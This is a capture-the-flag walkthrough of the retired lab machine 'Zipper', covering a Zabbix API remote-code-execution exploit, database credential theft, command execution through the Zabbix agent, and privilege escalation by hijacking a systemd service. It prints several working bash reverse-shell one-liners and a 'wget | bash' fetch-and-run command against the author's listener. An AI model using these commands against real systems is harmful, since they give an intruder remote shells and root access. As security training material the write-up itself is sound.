This is the write-up for the box Zipper that got retired at the 23rd February 2019. My IP address was 10.10.14.14 while I did this.
Let's put this in our hosts file:
10.10.10.108 zipper.htbStarting with a Nmap scan:
nmap -sC -sV -o nmap/zipper.nmap 10.10.10.108PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA)
| 256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA)
|_ 256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelThe web page shows the Apache2 Ubuntu default page, so lets search for hidden directories with Gobuster:
gobuster -u 10.10.10.108 dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtIt finds /zabbix that forwards to the login page of the open-source monitoring system Zabbix:
There is an option to sign in as guest to get some restricted access to the platform. The footer shows that it is running Zabbix version 3.0.21 and on Latest data it shows the checks it is doing on the devices and there are potential hostnames and usernames:
When trying to log in with zipper:zipper, zabbix:zabbix, zapper:zapper only the zapper user gives a different message:
"GUI access diabled"
It seems like that those are valid credentials, but they don't log in yet.
Searching for known vulnerabilities:
searchsploit zabbixZabbix 2.2 < 3.0.3 - API JSON-RPC Remote Code ExecutionEven though the version is lower than the running version, this vulnerability could still work. Modifying the script to our needs:
# (...)
ZABIX_ROOT = 'http://10.10.10.108/zabbix' ### Zabbix IP-address
login = 'zapper' ### Zabbix login
password = 'zapper' ### Zabbix password
hostid = '10105' ### Zabbix hostid
# (...)The hostid can be found by running one of the scripts and it gets shown in the URL of the results:
Running the exploit:
python 39937.pyAfter running the script, it starts a command line where it is possible to execute commands:
hostname: "25eb6425705c"ifconfig: 172.17.0.2whoami: zabbix
We can start a persistent shell, to navigate the system more comfortably:
bash -c 'bash -i >& /dev/tcp/10.10.14.14/9001 0>&1'Right now this is access to the Zabbix server, but our goal is to get into the zipper box.
The database information of Zabbix can be found in /etc/zabbix/zabbix_server.conf and in there are credentials for the database:
DBName=zabbixdb
DBUser=zabbix
DBPassword=f.YMeMd$pTbpY3-449Starting real terminal:
script -q /dev/nullLogging into the MySQL database:
mysql -u zabbix -D zabbixdb -pLooking for the user database end getting the contents:
show databases;
use zabbixd;
show tables;
describe users;
select userid, alias, passwd from users;There are 3 users and the passwords are 32-character hashes which is probably MD5:
+--------+--------+----------------------------------+
| userid | alias | passwd |
+--------+--------+----------------------------------+
| 1 | Admin | 65e730e044402ef2e2f386a18ec03c72 |
| 2 | guest | d41d8cd98f00b204e9800998ecf8427e |
| 3 | zapper | 16a7af0e14037b567d7782c4ef1bdeda |
+--------+--------+----------------------------------+When encoding the password for the database it is the same MD5 hash as this Admin password.
echo -n 'f.YMeMd$pTbpY3-449' | md5sumWhich means, that the credentials for the Zabbix admin interface is the username Admin and the password "f.YMeMd$pTbpY3-449".
On the admin interface it is possible to see the enabled services for the clients and it looks like our target zipper has the Zabbix Agent installed:
By default this service listens on port 10050 or 10051, so lets test for the ports from the zabbix server:
bash -c 'echo 1> /dev/tcp/172.17.0.1/10050 && echo open || echo false'
open
bash -c 'echo 1> /dev/tcp/172.17.0.1/10051 && echo open || echo false'
bash: connect: Connection refused
bash: /dev/tcp/172.17.0.1/10051: Connection refused
falsePort 10050 is open and by using the Zabbix Agent API it is possible to send commands to the service:
echo "agent.hostname" | nc 172.17.0.1 10050ZipperThe command agent.hostname shows the hostname of the server with the Zabbix Agent installed. There is another command called system.run with which commands can be sent to the client if the agent configuration has "EnableRemoteCommands" enabled:
echo "system.run[ping -c 1 10.10.14.14]" | nc 172.17.0.1 10050After sending this and by listening to incoming ICMP traffic, it sends a ping response back from the zipper client and thus command execution is successful.
Trying to start a reverse shell:
echo "system.run[bash -c 'bash -i >& /dev/tcp/10.10.14.14/9002 0>&1']" | nc 172.17.0.1 10050The reverse shell session starts but exits seconds later, because Zabbix Agent runs the command and waits for around three seconds until it kills the connection.
This can be bypassed by using nohup and & to background the process:
echo "system.run[bash -c 'nohup bash -i >& /dev/tcp/10.10.14.14/9002 0>&1 &']" | nc 172.17.0.1 10050After sending the command, the listener on my IP and port 9002 starts a reverse shell on the box zipper as the user zabbix.
There is one home directory of zapper in which everyone has read access. The file /home/zapper/utils/backup.sh has the following content:
# Quick script to backup all utilities in this folder to /backups
/usr/bin/7z a /backups/zapper_backup-$(/bin/date +%F).7z -pZippityDoDah /home/zapper/utils/* &>/dev/nullOne of the parameters looks like a password and when switching users to zapper via su zapper, the password "ZippityDoDah" works and privileges got escalated to that user.
To get an attack surface, it is recommended to run any Linux Enumeration script:
wget 10.10.14.14/LinEnum.sh | bashThe file /home/zapper/utils/zabbix-service has the SetUID bit set and the user zapper has write permissions to a systemd timer. This configuration file is in /etc/systemd/system/purge-backups.service and by changing the ExecStart parameter to a executable that is controlled by us, we are able to run any code.
Inserting command in /etc/systemd/system/purge-backups.service:
[Unit]
Description=Purge Backups (Script)
[Service]
ExecStart=/tmp/shell.sh
[Install]
WantedBy=purge-backups.timerCreating /tmp/shell.sh:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.14/9003 0>&1Executing zabbix-service and stopping and starting the service:
./zabbix-service
start or stop?: stop
./zabbix-service
start or stop?: startAfter executing, the listener on my IP and port 9003 will start a shell as root!



